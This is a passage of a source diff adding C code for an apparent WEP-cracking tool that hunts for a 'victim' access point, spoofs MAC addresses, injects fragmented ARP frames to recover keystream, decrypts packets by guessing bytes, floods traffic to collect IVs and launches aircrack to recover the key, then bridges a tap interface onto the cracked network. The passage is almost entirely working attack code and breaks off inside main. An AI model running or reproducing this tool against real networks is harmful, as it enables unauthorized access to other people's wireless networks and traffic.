+ } else if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) {
+ memcpy(mac, wh->i_addr1, 6);
+ } else assert(0);
+
+ if (mac[0] == 0xff || mac[0] == 0x1)
+ return;
+
+ memcpy(mymac, mac, 6);
+ time_print("Trying to use MAC=(%s)\n", mac2str(mymac));
+ state = FOUND_VICTIM;
+ return;
+ }
+
+ // wep data!
+ if ( (wh->i_fc[1] & IEEE80211_FC1_WEP) && dlen > (4+8+4)) {
+ got_wep(wh, rd);
+ }
+ }
+}
+
+void anal(unsigned char* buf, int rd, int tx) { // yze
+#define BIT(n) (1<<(n))
+ struct bpf_hdr* bpfh = (struct bpf_hdr*) buf;
+ struct ieee80211_radiotap_header* rth;
+ struct ieee80211_frame* wh;
+ int type,stype;
+ static int lastseq = -1;
+ int seq;
+ unsigned short *seqptr;
+ int for_us = 0;
+ uint32_t present;
+ uint8_t rflags;
+
+ // BPF
+ rd -= bpfh->bh_hdrlen;
+ if (bpfh->bh_caplen != bpfh->bh_datalen) {
+ time_print("Warning: caplen=%d datalen=%d\n",
+ bpfh->bh_caplen, bpfh->bh_datalen);
+ }
+
+ if (rd != bpfh->bh_caplen) {
+#if 0
+ // XXX
+ printf("Error: rd=%d caplen=%d\n", rd, bpfh->bh_caplen);
+ hexdump(buf, rd+bpfh->bh_hdrlen);
+// exit(1);
+ return;
+#endif
+ // XXX what's going on
+ assert( rd > bpfh->bh_caplen);
+ rd = bpfh->bh_caplen;
+ }
+
+ // RADIOTAP
+ rth = (struct ieee80211_radiotap_header*)
+ ((unsigned char*) bpfh + bpfh->bh_hdrlen);
+ /* check if FCS/CRC is included in packet */
+ present = le32toh(rth->it_present);
+ if (present & BIT(IEEE80211_RADIOTAP_FLAGS)) {
+ if (present & BIT(IEEE80211_RADIOTAP_TSFT))
+ rflags = ((const uint8_t *)rth)[8];
+ else
+ rflags = ((const uint8_t *)rth)[0];
+ } else
+ rflags = 0;
+ /* 802.11 CRC */
+ if (rflags & IEEE80211_RADIOTAP_F_FCS)
+ rd -= IEEE80211_CRC_LEN;
+
+ // 802.11
+ wh = (struct ieee80211_frame*)
+ ((unsigned char*)rth + rth->it_len);
+ rd -= rth->it_len;
+
+ if (rd < 1) {
+ time_print("rd=%d\n", rd);
+ exit(1);
+ }
+
+ type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
+ stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
+
+ // sort out acks
+ if (state >= FOUND_VICTIM) {
+ // stuff for us
+ if (memcmp(wh->i_addr1, mymac, 6) == 0) {
+ for_us = 1;
+ if (type != IEEE80211_FC0_TYPE_CTL)
+ send_ack(tx);
+ }
+ }
+
+ // XXX i know it aint great...
+ seqptr = (unsigned short*) wh->i_seq;
+ seq = (*seqptr & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
+ if (seq == lastseq && (wh->i_fc[1] & IEEE80211_FC1_RETRY) &&
+ type != IEEE80211_FC0_TYPE_CTL) {
+// printf("Ignoring dup packet... seq=%d\n", seq);
+ return;
+ }
+ lastseq = seq;
+
+ // management frame
+ if (type == IEEE80211_FC0_TYPE_MGT) {
+ if(state == FIND_VICTIM) {
+ if (stype == IEEE80211_FC0_SUBTYPE_BEACON ||
+ stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) {
+
+ if (get_victim_ssid(wh, rd)) {
+ return;
+ }
+ }
+
+ }
+ }
+
+ if (state >= FOUND_VICTIM) {
+ // stuff for us
+ if (for_us) {
+ stuff_for_us(wh, rd);
+ }
+
+ // stuff in network [even for us]
+ if ( ((wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) &&
+ (memcmp(victim.bss, wh->i_addr1, 6) == 0)) ||
+
+ ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
+ (memcmp(victim.bss, wh->i_addr2, 6) == 0))
+ ) {
+ stuff_for_net(wh, rd);
+ }
+ }
+#undef BIT
+}
+
+void do_arp(unsigned char* buf, unsigned short op,
+ unsigned char* m1, unsigned char* i1,
+ unsigned char* m2, unsigned char* i2) {
+
+ struct in_addr sip;
+ struct in_addr dip;
+ struct arphdr* h;
+ unsigned char* data;
+
+ inet_aton(i1, &sip);
+ inet_aton(i2, &dip);
+ h = (struct arphdr*) buf;
+
+ memset(h, 0, sizeof(*h));
+
+ h->ar_hrd = htons(ARPHRD_ETHER);
+ h->ar_pro = htons(ETHERTYPE_IP);
+ h->ar_hln = 6;
+ h->ar_pln = 4;
+ h->ar_op = htons(op);
+
+ data = (unsigned char*) h + sizeof(*h);
+
+ memcpy(data, m1, 6);
+ data += 6;
+ memcpy(data, &sip, 4);
+ data += 4;
+
+ memcpy(data, m2, 6);
+ data += 6;
+ memcpy(data, &dip, 4);
+ data += 4;
+}
+
+void send_fragment(int tx, struct frag_state* fs, struct prga_info *pi) {
+ unsigned char buf[4096];
+ struct ieee80211_frame* wh;
+ unsigned char* body;
+ int fragsize;
+ uLong crc;
+ unsigned long *pcrc;
+ int i;
+ unsigned short* seq;
+ unsigned short sn, fn;
+
+ wh = (struct ieee80211_frame*) buf;
+ memcpy(wh, &fs->wh, sizeof(*wh));
+
+ body = (unsigned char*) wh + sizeof(*wh);
+ memcpy(body, &pi->iv, 3);
+ body += 3;
+ *body++ = 0; // key index
+
+ fragsize = fs->data + fs->len - fs->ptr;
+
+ assert(fragsize > 0);
+
+ if ( (fragsize + 4) > pi->len) {
+ fragsize = pi->len - 4;
+ wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
+ }
+ // last fragment
+ else {
+ wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG;
+ }
+
+ memcpy(body, fs->ptr, fragsize);
+
+ crc = crc32(0L, Z_NULL, 0);
+ crc = crc32(crc, body, fragsize);
+ pcrc = (unsigned long*) (body+fragsize);
+ *pcrc = crc;
+
+ for (i = 0; i < (fragsize + 4); i++)
+ body[i] ^= pi->prga[i];
+
+ seq = (unsigned short*) &wh->i_seq;
+ sn = (*seq & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
+ fn = *seq & IEEE80211_SEQ_FRAG_MASK;
+// printf ("Sent frag (data=%d) (seq=%d fn=%d)\n", fragsize, sn, fn);
+
+ send_frame(tx, buf, sizeof(*wh) + 4 + fragsize+4);
+
+ seq = (unsigned short*) &fs->wh.i_seq;
+ *seq = fnseq(++fn, sn);
+ fs->ptr += fragsize;
+
+ if (fs->ptr - fs->data == fs->len) {
+// printf("Finished sending frags...\n");
+ fs->waiting_relay = 1;
+ }
+}
+
+void prepare_fragstate(struct frag_state* fs, int pad) {
+ fs->waiting_relay = 0;
+ fs->len = 8 + 8 + 20 + pad;
+ fs->data = (unsigned char*) malloc(fs->len);
+
+ if(!fs->data) {
+ perror("malloc()");
+ exit(1);
+ }
+
+ fs->ptr = fs->data;
+
+ do_llc(fs->data, ETHERTYPE_ARP);
+ do_arp(&fs->data[8], ARPOP_REQUEST,
+ mymac, myip,
+ "\x00\x00\x00\x00\x00\x00", "192.168.0.1");
+
+ memset(&fs->wh, 0, sizeof(fs->wh));
+ fill_basic(&fs->wh);
+
+ memset(fs->wh.i_addr3, 0xff, 6);
+ fs->wh.i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
+ fs->wh.i_fc[1] |= IEEE80211_FC1_DIR_TODS |
+ IEEE80211_FC1_MORE_FRAG |
+ IEEE80211_FC1_WEP;
+
+ memset(&fs->data[8+8+20], 0, pad);
+}
+
+void discover_prga(int tx) {
+
+ // create packet...
+ if (!fragstate.data) {
+ int pad = 0;
+
+ if (prgainfo.len >= 20)
+ pad = prgainfo.len*3;
+
+ prepare_fragstate(&fragstate, pad);
+ }
+
+ if (!fragstate.waiting_relay) {
+ send_fragment(tx, &fragstate, &prgainfo);
+ if (fragstate.waiting_relay) {
+ if (gettimeofday(&fragstate.last, NULL) == -1)
+ err(1, "gettimeofday()");
+ }
+ }
+}
+
+void decrypt(int tx) {
+
+ // gotta initiate
+ if (!decryptstate.fragstate.data) {
+ prepare_fragstate(&decryptstate.fragstate, 0);
+
+ memcpy(decryptstate.fragstate.wh.i_addr3,
+ MCAST_PREF, 5);
+
+ decryptstate.fragstate.wh.i_addr3[5] =
+ decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1];
+
+ decryptstate.prgainfo.len++;
+ }
+
+ // guess diff prga byte...
+ if (decryptstate.fragstate.waiting_relay) {
+ unsigned short* seq;
+ decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1]++;
+
+#if 0
+ if (decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1] == 0) {
+ printf("Can't decrpyt!\n");
+ exit(1);
+ }
+#endif
+ decryptstate.fragstate.wh.i_addr3[5] =
+ decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1];
+
+ decryptstate.fragstate.waiting_relay = 0;
+ decryptstate.fragstate.ptr = decryptstate.fragstate.data;
+
+ seq = (unsigned short*) &decryptstate.fragstate.wh.i_seq;
+ *seq = fnseq(0, txstate.psent);
+ }
+
+ send_fragment(tx, &decryptstate.fragstate,
+ &decryptstate.prgainfo);
+}
+
+void flood_inet(tx) {
+ static int send_arp = -1;
+ static unsigned char arp_pkt[128];
+ static int arp_len;
+ static unsigned char udp_pkt[128];
+ static int udp_len;
+ static struct timeval last_ip;
+
+ // need to init packets...
+ if (send_arp == -1) {
+ unsigned char* body;
+ unsigned char* ptr;
+ struct ieee80211_frame* wh;
+ struct ip* ih;
+ struct udphdr* uh;
+
+ memset(arp_pkt, 0, sizeof(arp_pkt));
+ memset(udp_pkt, 0, sizeof(udp_pkt));
+
+ // construct ARP
+ wh = (struct ieee80211_frame*) arp_pkt;
+ fill_basic(wh);
+
+ wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
+ wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
+ memset(wh->i_addr3, 0xff, 6);
+
+ body = (unsigned char*) wh + sizeof(*wh);
+ ptr = body;
+ ptr += 4; // iv
+
+ do_llc(ptr, ETHERTYPE_ARP);
+ ptr += 8;
+ do_arp(ptr, ARPOP_REQUEST, mymac, myip,
+ "\x00\x00\x00\x00\x00\x00", netip);
+
+ wepify(body, 8+8+20);
+ arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4;
+ assert(arp_len < sizeof(arp_pkt));
+
+
+ // construct UDP
+ wh = (struct ieee80211_frame*) udp_pkt;
+ fill_basic(wh);
+
+ wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
+ wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
+ memcpy(wh->i_addr3, rtrmac, 6);
+
+ body = (unsigned char*) wh + sizeof(*wh);
+ ptr = body;
+ ptr += 4; // iv
+
+ do_llc(ptr, ETHERTYPE_IP);
+ ptr += 8;
+
+ ih = (struct ip*) ptr;
+ ih->ip_hl = 5;
+ ih->ip_v = 4;
+ ih->ip_tos = 0;
+ ih->ip_len = htons(20+8+5);
+ ih->ip_id = htons(666);
+ ih->ip_off = 0;
+ ih->ip_ttl = 128;
+ ih->ip_p = IPPROTO_UDP;
+ ih->ip_sum = 0;
+
+ inet_aton(myip, &ih->ip_src);
+ inet_aton(floodip, &ih->ip_dst);
+
+ ih->ip_sum = in_cksum((unsigned short*)ih, 20);
+
+ ptr += 20;
+ uh = (struct udphdr*) ptr;
+ uh->uh_sport = htons(floodsport);
+ uh->uh_dport = htons(floodport);
+ uh->uh_ulen = htons(8+5);
+ uh->uh_sum = 0;
+
+ ptr += 8;
+ strcpy(ptr, "sorbo");
+
+ uh->uh_sum = udp_checksum(ptr - 8, 8+5, &ih->ip_src,
+ &ih->ip_dst);
+
+ wepify(body, 8+20+8+5);
+ udp_len = sizeof(*wh) + 4 + 8 + 20 + 8 + 5 + 4;
+ assert(udp_len < sizeof(udp_pkt));
+
+ // bootstrap
+ send_arp = 1;
+
+ memset(&last_ip, 0, sizeof(last_ip));
+ }
+
+ if (send_arp == 1) {
+ struct timeval now;
+ unsigned long sec;
+
+ if (gettimeofday(&now, NULL) == -1) {
+ perror("gettimeofday()");
+ exit(1);
+ }
+
+ sec = now.tv_sec - last_ip.tv_sec;
+
+ if (sec < 5)
+ return;
+
+ send_frame(tx, arp_pkt, arp_len);
+ send_arp = 0;
+ }
+
+ else if (send_arp == 0) {
+ if (gettimeofday(&last_ip, NULL) == -1) {
+ perror("gettimeofday()");
+ exit(1);
+ }
+
+ send_frame(tx, udp_pkt, udp_len);
+ send_arp = 1;
+ } else assert(0);
+}
+
+void send_arp(int tx, unsigned short op, unsigned char* srcip,
+ unsigned char* srcmac, unsigned char* dstip,
+ unsigned char* dstmac) {
+
+ static unsigned char arp_pkt[128];
+ unsigned char* body;
+ unsigned char* ptr;
+ struct ieee80211_frame* wh;
+ int arp_len;
+
+ memset(arp_pkt, 0, sizeof(arp_pkt));
+
+ // construct ARP
+ wh = (struct ieee80211_frame*) arp_pkt;
+ fill_basic(wh);
+
+ wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
+ wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
+ memset(wh->i_addr3, 0xff, 6);
+
+ body = (unsigned char*) wh + sizeof(*wh);
+ ptr = body;
+ ptr += 4; // iv
+
+ do_llc(ptr, ETHERTYPE_ARP);
+ ptr += 8;
+ do_arp(ptr, op, srcmac, srcip, dstmac, dstip);
+
+ wepify(body, 8+8+20);
+ arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4;
+ assert(arp_len < sizeof(arp_pkt));
+
+ send_frame(tx, arp_pkt, arp_len);
+}
+
+void can_write(int tx) {
+ static char arp_ip[16];
+
+ switch (state) {
+ case FOUND_VICTIM:
+ send_auth(tx);
+ state = SENDING_AUTH;
+ break;
+
+ case GOT_AUTH:
+ send_assoc(tx);
+ state = SENDING_ASSOC;
+ break;
+
+ case GOT_ASSOC:
+ if (prgainfo.prga && prgainfo.len < min_prga) {
+ discover_prga(tx);
+ break;
+ }
+
+ if (decryptstate.cipher) {
+ decrypt(tx);
+ break;
+ }
+
+ if (!prgainfo.prga)
+ break;
+
+ if (taptx_len) {
+ send_frame(tx, taptx, taptx_len);
+ taptx_len = 0;
+ break;
+ }
+
+ // try to find rtr mac addr
+ if (netip && !rtrmac) {
+ char* ptr;
+
+ strcpy(arp_ip, netip);
+ ptr = strchr(arp_ip, '.');
+ assert(ptr);
+ ptr = strchr(++ptr, '.');
+ assert(ptr);
+ ptr = strchr(++ptr, '.');
+ assert(ptr);
+ strcpy(++ptr, "1");
+
+ if (gettimeofday(&arpsend, NULL) == -1)
+ err(1, "gettimeofday()");
+
+ time_print("Sending arp request for: %s\n", arp_ip);
+ send_arp(tx, ARPOP_REQUEST, myip, mymac,
+ arp_ip, "\x00\x00\x00\x00\x00\x00");
+
+ // XXX lame
+ rtrmac = (unsigned char*)1;
+ break;
+ }
+
+ // need to generate traffic...
+ if (rtrmac > (unsigned char*)1 && netip) {
+ if (floodip)
+ flood_inet(tx);
+ else {
+ // XXX lame technique... anyway... im
+ // only interested in flood_inet...
+
+ // could ping broadcast....
+ send_arp(tx, ARPOP_REQUEST, myip, mymac,
+ arp_ip, "\x00\x00\x00\x00\x00\x00");
+ }
+
+ break;
+ }
+
+ break;
+ }
+}
+
+void try_crack() {
+ if (crack_pid) {
+ printf("\n");
+ time_print("Warning... previous crack still running!\n");
+ kill_crack();
+ }
+
+ if (weplog.fd) {
+ if (fsync(weplog.fd) == -1)
+ err(1, "fsync");
+ }
+
+ crack_pid = fork();
+
+ if (crack_pid == -1)
+ err(1, "fork");
+
+ // child
+ if (crack_pid == 0) {
+ char bitz[16];
+ char* args[] = { "aircrack", "wep.log", NULL };
+ char* argb[] = { "aircrack", "-n", bitz, "wep.log", NULL };
+ char* envp[] = { NULL };
+ char **arg;
+
+#if 1
+ if (setsid() == -1)
+ err(1, "setsid");
+#endif
+
+ close (1);
+ close (2);
+
+ if (bits > 0) {
+ snprintf(bitz, sizeof(bitz)-1, "%d", bits);
+ arg = argb;
+ }
+ else
+ arg = args;
+
+ /* NB: try local copy first; then installed dir */
+ if (execve(CRACK_LOCAL_CMD, arg, envp) == -1) {
+ if (errno != ENOENT)
+ err(1, "execve(%s)", CRACK_LOCAL_CMD);
+ if (execve(CRACK_INSTALL_CMD, arg, envp) == -1)
+ err(1, "execve(%s)", CRACK_INSTALL_CMD);
+ }
+
+ exit(1);
+ }
+
+ // parent
+ printf("\n");
+ time_print("Starting crack PID=%d\n", crack_pid);
+ if (gettimeofday(&crack_start, NULL) == -1)
+ err(1, "gettimeofday");
+
+
+ // XXX lame...
+ if (wep_thresh == 3000000) {
+ crack_dur *= 10;
+ thresh_incr *= 10;
+ }
+ wep_thresh += thresh_incr;
+}
+
+void open_tap() {
+ struct stat st;
+ int s;
+ struct ifreq ifr;
+ unsigned int flags;
+
+ tapfd = open(TAP_DEV, O_RDWR);
+ if (tapfd == -1) {
+ printf("Can't open tap: %s\n", strerror(errno));
+ exit(1);
+ }
+ if(fstat(tapfd, &st) == -1) {
+ perror("fstat()");
+ exit(1);
+ }
+
+ // feer
+ strcpy(tapdev, devname(st.st_rdev, S_IFCHR));
+
+ s = socket(PF_INET, SOCK_DGRAM, 0);
+ if (s == -1) {
+ perror("socket()");
+ exit(1);
+ }
+
+ // MTU
+ memset(&ifr, 0, sizeof(ifr));
+ strcpy(ifr.ifr_name, tapdev);
+ ifr.ifr_mtu = 1500;
+ if (ioctl(s, SIOCSIFMTU, &ifr) == -1) {
+ perror("ioctl(SIOCSIFMTU)");
+ exit(1);
+ }
+
+ // set iface up
+ memset(&ifr, 0, sizeof(ifr));
+ strcpy(ifr.ifr_name, tapdev);
+ if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) {
+ perror("ioctl(SIOCGIFFLAGS)");
+ exit(1);
+ }
+
+ flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16);
+ flags |= IFF_UP;
+
+ memset(&ifr, 0, sizeof(ifr));
+ strcpy(ifr.ifr_name, tapdev);
+ ifr.ifr_flags = flags & 0xffff;
+ ifr.ifr_flagshigh = flags >> 16;
+ if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) {
+ perror("ioctl(SIOCSIFFLAGS)");
+ exit(1);
+ }
+
+ close(s);
+ time_print("Opened tap device: %s\n", tapdev);
+}
+
+void set_tap_mac(unsigned char* mac) {
+ int s;
+ struct ifreq ifr;
+
+ s = socket(PF_INET, SOCK_DGRAM, 0);
+ if (s == -1) {
+ perror("socket()");
+ exit(1);
+ }
+
+ memset(&ifr, 0, sizeof(ifr));
+ strcpy(ifr.ifr_name, tapdev);
+
+ ifr.ifr_addr.sa_family = AF_LINK;
+ ifr.ifr_addr.sa_len = 6;
+ memcpy(ifr.ifr_addr.sa_data, mac, 6);
+
+ if (ioctl(s, SIOCSIFLLADDR, &ifr) == -1) {
+ perror("ioctl(SIOCSIFLLADDR)");
+ exit(1);
+ }
+
+ close(s);
+ time_print("Set tap MAC to: %s\n", mac2str(mac));
+}
+
+void read_tap() {
+ unsigned char buf[4096];
+ struct ether_header* eh;
+ struct ieee80211_frame* wh;
+ int rd;
+ unsigned char* ptr, *body;
+ int dlen;
+
+ rd = read(tapfd, buf, sizeof(buf));
+ if (rd == -1) {
+ perror("read()");
+ exit(1);
+ }
+ dlen = rd - sizeof(*eh);
+
+ assert(dlen > 0);
+
+ if (dlen+8 > prgainfo.len) {
+ printf("\n");
+ // XXX lame message...
+ time_print("Sorry... want to send %d but only got %d prga\n",
+ dlen, prgainfo.len);
+ return;
+
+ }
+
+ if (taptx_len) {
+ printf("\n");
+ time_print("Sorry... overflow in TAP queue [of 1 packet =P] overwriting\n");
+ // XXX could not read instead and get rid of it in select...
+ }
+
+ assert (rd < (sizeof(buf)-sizeof(*wh) - 8 - 8));
+
+ eh = (struct ether_header*) buf;
+
+ wh = (struct ieee80211_frame*) taptx;
+ memset(wh, 0, sizeof(*wh));
+ fill_basic(wh);
+
+ wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
+ wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
+
+ memcpy(wh->i_addr2, eh->ether_shost, 6);
+ memcpy(wh->i_addr3, eh->ether_dhost, 6);
+
+ body = (unsigned char*) wh + sizeof(*wh);
+ ptr = body;
+ ptr += 4; // iv
+
+ do_llc(ptr, ntohs(eh->ether_type));
+ ptr += 8;
+
+ memcpy(ptr, &buf[sizeof(*eh)], dlen);
+
+ wepify(body, 8+dlen);
+ taptx_len = sizeof(*wh) + 4 + 8 + dlen + 4;
+
+ assert (taptx_len < sizeof(taptx));
+}
+
+int elapsedd(struct timeval *past, struct timeval *now)
+{
+ int el;
+
+ el = now->tv_sec - past->tv_sec;
+ assert(el >= 0);
+ if (el == 0) {
+ el = now->tv_usec - past->tv_usec;
+ } else {
+ el = (el - 1)*1000*1000;
+ el += 1000*1000-past->tv_usec;
+ el += now->tv_usec;
+ }
+
+ return el;
+}
+
+void own(int wifd) {
+ unsigned char buf[4096];
+ int rd;
+ fd_set rfd;
+ struct timeval tv;
+ char *pbar = "/-\\|";
+ char *pbarp = &pbar[0];
+ struct timeval lasthop;
+ struct timeval now;
+ unsigned int last_wep_count = 0;
+ struct timeval last_wcount;
+ struct timeval last_status;
+ int fd;
+ int largest;
+
+ weplog.fd = open(WEP_FILE, O_WRONLY | O_APPEND);
+ if (weplog.fd == -1) {
+ weplog.fd = open(WEP_FILE, O_WRONLY | O_CREAT,
+ S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
+ }
+ else {
+ time_print("WARNING: Appending in %s\n", WEP_FILE);
+ }
+
+ if (weplog.fd == -1) {
+ perror("open()");
+ exit(1);
+ }
+
+ fd = open(PRGA_FILE, O_RDONLY);
+ if (fd != -1) {
+ time_print("WARNING: reading prga from %s\n", PRGA_FILE);
+ rd = read(fd, buf, sizeof(buf));
+ if (rd == -1) {
+ perror("read()");
+ exit(1);
+ }
+ if (rd >= 8) {
+ set_prga(buf, NULL, &buf[3], rd - 3);
+ }
+
+ close(fd);
+ }
+
+ fd = open(DICT_PATH, O_RDONLY);
+ if (fd == -1) {
+ time_print("Creating dictionary directory (%s)\n", DICT_PATH);
+ if (mkdir (DICT_PATH, 0755) == -1) {
+ perror("mkdir()");
+ exit(1);
+ }
+ }
+ else
+ close(fd);
+
+ open_tap();
+ set_tap_mac(mymac);
+
+ if (tapfd > wifd)
+ largest = tapfd;
+ else
+ largest = wifd;
+
+ if (signal(SIGINT, &cleanup) == SIG_ERR) {
+ perror("signal()");
+ exit(1);
+ }
+ if (signal (SIGTERM, &cleanup) == SIG_ERR) {
+ perror("signal()");
+ exit(1);
+ }
+
+ time_print("Looking for a victim...\n");
+ if (gettimeofday(&lasthop, NULL) == -1) {
+ perror("gettimeofday()");
+ exit(1);
+ }
+
+ memcpy(&last_wcount, &lasthop, sizeof(last_wcount));
+ memcpy(&last_status, &lasthop, sizeof(last_status));
+
+ while (1) {
+ if (gettimeofday(&now, NULL) == -1) {
+ perror("gettimeofday()");
+ exit(1);
+ }
+
+ /* check for relay timeout */
+ if (fragstate.waiting_relay) {
+ int el;
+
+ el = now.tv_sec - fragstate.last.tv_sec;
+ assert (el >= 0);
+ if (el == 0) {
+ el = now.tv_usec - fragstate.last.tv_usec;
+ } else {
+ el--;
+
+ el *= 1000*1000;
+ el += 1000*1000 - fragstate.last.tv_usec;
+ el += now.tv_usec;
+
+ if (el > (1500*1000)) {
+// printf("\nLAMER timeout\n\n");
+ free(fragstate.data);
+ fragstate.data = 0;
+ }
+ }
+ }
+
+ /* check for arp timeout */
+ if (rtrmac == (unsigned char*) 1) {
+ int el;
+
+ el = elapsedd(&arpsend, &now);
+ if (el >= (1500*1000)) {
+ rtrmac = 0;
+ }
+ }
+
+ // status bar
+ if ( (now.tv_sec > last_status.tv_sec ) ||
+ ( now.tv_usec - last_status.tv_usec > 100*1000)) {
+ if (crack_pid && (now.tv_sec > last_status.tv_sec)) {
+ check_key();
+ }
+ if (netip && prgainfo.len >= min_prga &&
+ rtrmac > (unsigned char*) 1) {
+ time_print("WEP=%.9d (next crack at %d) IV=%.2x:%.2x:%.2x (rate=%d) \r",
+ weplog.packets, wep_thresh,
+ weplog.iv[0], weplog.iv[1], weplog.iv[2],
+ weplog.rate);
+ fflush(stdout);
+ }
+ else {
+ if (state == FIND_VICTIM)
+ time_print("Chan %.02d %c\r", chaninfo.chan, *pbarp);
+ else if (decryptstate.cipher) {
+ int pos = decryptstate.prgainfo.len - 1;
+ unsigned char prga = decryptstate.prgainfo.prga[pos];
+ assert(pos);
+
+ time_print("Guessing PRGA %.2x (IP byte=%d) \r",
+ prga, decryptstate.cipher[pos] ^ prga);
+ }
+ else
+ time_print("%c\r", *pbarp);
+ fflush(stdout);
+ }
+ memcpy(&last_status, &now,sizeof(last_status));
+ }
+
+ // check if we are cracking
+ if (crack_pid) {
+ if (now.tv_sec - crack_start.tv_sec >= crack_dur)
+ kill_crack();
+ }
+
+ // check TX / retransmit
+ if (txstate.waiting_ack) {
+ unsigned int elapsed = now.tv_sec -
+ txstate.tsent.tv_sec;
+ elapsed *= 1000*1000;
+ elapsed += (now.tv_usec - txstate.tsent.tv_usec);
+
+ if (elapsed >= ack_timeout)
+ send_frame(wifd, NULL, -1);
+ }
+
+ // INPUT
+ // select
+ FD_ZERO(&rfd);
+ FD_SET(wifd, &rfd);
+ FD_SET(tapfd, &rfd);
+ tv.tv_sec = 0;
+ tv.tv_usec = 1000*10;
+ rd = select(largest+1, &rfd, NULL, NULL, &tv);
+ if (rd == -1) {
+ perror("select()");
+ exit(1);
+ }
+
+ // read
+ if (rd != 0) {
+ // wifi
+ if (FD_ISSET(wifd, &rfd)) {
+ rd = read(wifd, buf, sizeof(buf));
+ if (rd == 0)
+ return;
+ if (rd == -1) {
+ perror("read()");
+ exit(1);
+ }
+
+ pbarp++;
+ if(!(*pbarp))
+ pbarp = &pbar[0];
+ // input
+ anal(buf, rd, wifd);
+ }
+
+ // tap
+ if (FD_ISSET(tapfd, &rfd)) {
+ read_tap();
+ }
+ }
+
+ // check state and what we do next.
+ if (state == FIND_VICTIM) {
+ if (now.tv_sec > lasthop.tv_sec ||
+ ( (now.tv_usec - lasthop.tv_usec) >= 300*1000 )) {
+ int chan = chaninfo.chan;
+ chan++;
+
+ if(chan > 11)
+ chan = 1;
+
+ set_chan(chan);
+ memcpy(&lasthop, &now, sizeof(lasthop));
+ }
+ } else {
+ // check if we need to write something...
+ if (!txstate.waiting_ack)
+ can_write(wifd);
+
+ // roughly!
+
+#ifdef MORE_ACCURATE
+ if ( (now.tv_sec - last_wcount.tv_sec) >= 2) {
+ unsigned int elapsed;
+ int secs;
+ int packetz = weplog.packets - last_wep_count;
+ elapsed = 1000*1000;
+
+ elapsed -= last_wcount.tv_usec;
+
+ assert(elapsed >= 0);
+ elapsed += now.tv_usec;
+
+ secs = now.tv_sec - last_wcount.tv_sec;
+ secs--;
+ if (secs > 0)
+ elapsed += (secs*1000*1000);
+
+ weplog.rate = (int)
+ ((double)packetz/(elapsed/1000.0/1000.0));
+#else
+ if ( now.tv_sec > last_wcount.tv_sec) {
+ weplog.rate = weplog.packets - last_wep_count;
+#endif
+ last_wep_count = weplog.packets;
+ memcpy(&last_wcount, &now, sizeof(now));
+
+ if (wep_thresh != -1 && weplog.packets > wep_thresh)
+ try_crack();
+ }
+ }
+ }
+}
+
+void start(char *dev) {
+ int fd;
+
+ setup_if(dev);
+
+ fd = open_bpf(dev, DLT_IEEE802_11_RADIO);
+
+ own(fd);
+
+#if 0
+ {
+ int i;
+ struct timeval tv;
+ set_chan(11);
+ for (i = 0; i < 10; i++) {
+ gettimeofday(&tv, NULL);
+
+ send_ack(tx);
+// usleep(500);
+ printf("%lu\n", tv.tv_usec);
+ }
+ }
+#endif
+
+ close(fd);
+}
+
+void usage(char* pname) {
+ printf("Usage: %s <opts>\n", pname);
+ printf("-h\t\tthis lame message\n");
+ printf("-i\t\t<iface>\n");
+ printf("-s\t\t<flood server ip>\n");
+ printf("-m\t\t<my ip>\n");
+ printf("-n\t\t<net ip>\n");
+ printf("-r\t\t<rtr mac>\n");
+ printf("-a\t\t<mymac>\n");
+ printf("-c\t\tdo not crack\n");
+ printf("-p\t\t<min prga>\n");
+ printf("-4\t\t64 bit key\n");
+ printf("-v\t\tvictim mac\n");
+ exit(0);
+}
+
+void str2mac(unsigned char* dst, unsigned char* mac) {
+ unsigned int macf[6];
+ int i;
+
+ if( sscanf(mac, "%x:%x:%x:%x:%x:%x",
+ &macf[0], &macf[1], &macf[2],
+ &macf[3], &macf[4], &macf[5]) != 6) {
+
+ printf("can't parse mac %s\n", mac);
+ exit(1);
+ }
+
+ for (i = 0; i < 6; i++)
+ *dst++ = (unsigned char) macf[i];
+}
+
+int main(int argc, char *argv[]) {
+ unsigned char* dev = "ath0";
+ unsigned char rtr[6];
+ unsigned char vic[6];
+
+ int ch;
+
+ if (gettimeofday(&real_start, NULL) == -1) {
+ perror("gettimeofday()");
+ exit(1);
+ }
+
+ chaninfo.s = -1;
+ victim.ssid = 0;
+ prgainfo.len = 0;
+
+ memset(&txstate, 0, sizeof(txstate));
+ memset(&fragstate, 0, sizeof(fragstate));
+ memset(&decryptstate, 0, sizeof(decryptstate));
+ memset(&weplog, 0, sizeof(weplog));
+
+ state = FIND_VICTIM;
+
+ while ((ch = getopt(argc, argv, "hi:s:m:r:a:n:cp:4v:")) != -1) {
+ switch (ch) {
+ case 'a':
+ str2mac(mymac, optarg);
+ break;
+
